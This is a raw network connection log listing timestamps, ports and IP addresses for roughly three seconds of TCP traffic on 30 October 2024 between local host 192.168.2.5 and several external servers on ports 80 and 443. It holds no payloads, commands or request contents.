Oct 30, 2024 23:11:18.084310055 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.084418058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.084476948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.084517956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.084532022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.084573984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.084718943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.084736109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.084750891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.084768057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.084800005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.084819078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.095160007 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:18.095195055 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:18.095273972 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:18.095617056 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:18.095629930 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:18.141566992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.141642094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.141659021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.141700983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.141741037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.141840935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.141858101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.141891003 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.141922951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.141980886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.141997099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.142013073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.142045021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.142045021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.142082930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.142239094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.142255068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.142268896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.142285109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.142292023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.142317057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.142338037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.142524004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.142539978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.142556906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.142594099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.142594099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.142631054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.142765045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.142781973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.142797947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.142812014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.142847061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.142847061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.143037081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.143052101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.143088102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.143088102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.143224955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.143249989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.143264055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.143280029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.143291950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.143347025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.143347025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.143584967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.143625975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.143649101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.143667936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.143722057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.143775940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.143836975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.143871069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.143893957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.143919945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.143948078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.143980980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.144037008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.144037008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.144067049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.144118071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.144232988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.144268036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.144289970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.144323111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.144355059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.144387960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.144408941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.144440889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.144471884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.144493103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.144689083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.144722939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.144750118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.144751072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.144794941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.144826889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.144848108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.144872904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.144903898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.144932985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.144954920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.144984007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.164458990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.164519072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.164542913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.164561033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.164588928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.164637089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.164663076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.164697886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.164721012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.164766073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.164793015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.164845943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.202225924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.202286005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.202316046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.202390909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.202390909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.202449083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.202503920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.202541113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.202589989 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.202655077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.202688932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.202708960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.202733040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.202841043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.202876091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.202910900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.202930927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.202964067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.202996016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:18.203017950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.203041077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:18.847351074 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:18.847476006 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:18.887728930 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:18.887773037 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:18.888227940 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:18.921797037 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:18.967334032 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.171137094 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.171171904 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.171255112 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.171264887 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.171304941 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.171360016 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.171380043 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.171394110 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.171413898 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.289716005 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.289758921 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.289958954 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.289998055 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.290050983 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.407876015 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.407902002 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.407952070 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.407974958 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.408009052 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.408029079 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.526283979 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.526308060 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.526357889 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.526379108 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.526418924 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.526437998 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.644548893 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.644573927 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.644642115 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.644675016 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.644711971 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.762423992 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.762449026 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.762554884 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.762574911 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.762613058 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.765149117 CET	49709	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:19.765166044 CET	443	49709	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:19.765222073 CET	49709	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:19.765393019 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:19.765414000 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:19.765460014 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:19.765553951 CET	49711	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:19.765562057 CET	443	49711	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:19.765609980 CET	49711	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:19.765783072 CET	49709	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:19.765794992 CET	443	49709	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:19.765925884 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:19.765939951 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:19.766063929 CET	49711	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:19.766074896 CET	443	49711	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:19.806330919 CET	49712	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:19.806377888 CET	443	49712	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:19.806473970 CET	49712	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:19.806865931 CET	49712	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:19.806881905 CET	443	49712	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:19.880731106 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.880759954 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.880798101 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.880825043 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.880837917 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.880868912 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.914251089 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.914277077 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.914357901 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:19.914382935 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:19.914542913 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.032058954 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.032083988 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.032196045 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.032227993 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.032269955 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.149991989 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.150027990 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.150091887 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.150110960 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.150140047 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.150161982 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.268023014 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.268054008 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.268101931 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.268117905 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.268152952 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.268168926 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.280210972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:20.280301094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:20.312891006 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.312913895 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.314584017 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.314624071 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.314671040 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.387659073 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.387684107 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.387742996 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.387777090 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.387794018 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.387818098 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.388379097 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.388443947 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.388453007 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.388465881 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.388504982 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.388586998 CET	49705	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.388600111 CET	443	49705	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.494016886 CET	49715	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.494079113 CET	443	49715	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.494144917 CET	49715	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.496598005 CET	49716	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.496643066 CET	443	49716	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.496720076 CET	49716	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.497217894 CET	49717	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.497301102 CET	443	49717	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.497399092 CET	49717	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.498205900 CET	49718	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.498214960 CET	443	49718	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.498287916 CET	49718	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.499551058 CET	49719	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.499574900 CET	443	49719	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.499654055 CET	49719	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.500082970 CET	49719	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.500118017 CET	443	49719	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.500288963 CET	49718	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.500302076 CET	443	49718	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.500416994 CET	49715	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.500456095 CET	443	49715	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.500835896 CET	49716	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.500844955 CET	443	49716	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.500967979 CET	49717	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:20.500988960 CET	443	49717	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:20.632949114 CET	443	49709	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.633260012 CET	49709	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.633281946 CET	443	49709	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.634514093 CET	443	49709	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.634573936 CET	49709	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.636065960 CET	49709	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.636212111 CET	49709	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.636213064 CET	443	49709	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.636483908 CET	443	49711	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.636640072 CET	49711	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.636647940 CET	443	49711	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.637628078 CET	443	49711	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.637675047 CET	49711	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.638930082 CET	49711	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.638992071 CET	443	49711	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.639100075 CET	49711	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.639107943 CET	443	49711	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.654951096 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.655267954 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.655282974 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.656306028 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.656362057 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.656672001 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.656737089 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.656985998 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.656996012 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.679346085 CET	443	49709	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.679434061 CET	443	49712	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.684015036 CET	49712	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.684035063 CET	443	49712	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.685023069 CET	49709	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.685039997 CET	443	49709	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.685070038 CET	49711	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.685108900 CET	443	49712	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.685177088 CET	49712	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.685975075 CET	49712	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.686047077 CET	443	49712	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.686460018 CET	49712	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.686470985 CET	443	49712	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.700629950 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.731969118 CET	49712	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.732048988 CET	49709	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.869677067 CET	49711	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.869779110 CET	443	49711	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.869951010 CET	443	49711	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.870012045 CET	49711	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.870027065 CET	49711	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.911134005 CET	443	49709	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.951395988 CET	49709	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.951430082 CET	443	49709	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.954263926 CET	49709	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.954344988 CET	443	49709	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.954416037 CET	49709	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.958724976 CET	443	49712	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.960592985 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.960666895 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.960701942 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.960764885 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.960782051 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.960829020 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.960892916 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.961209059 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.963114023 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.963124037 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.973650932 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:20.973715067 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:20.973730087 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.001492023 CET	49712	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.001506090 CET	443	49712	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.018320084 CET	49712	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.018398046 CET	443	49712	172.217.18.4	192.168.2.5
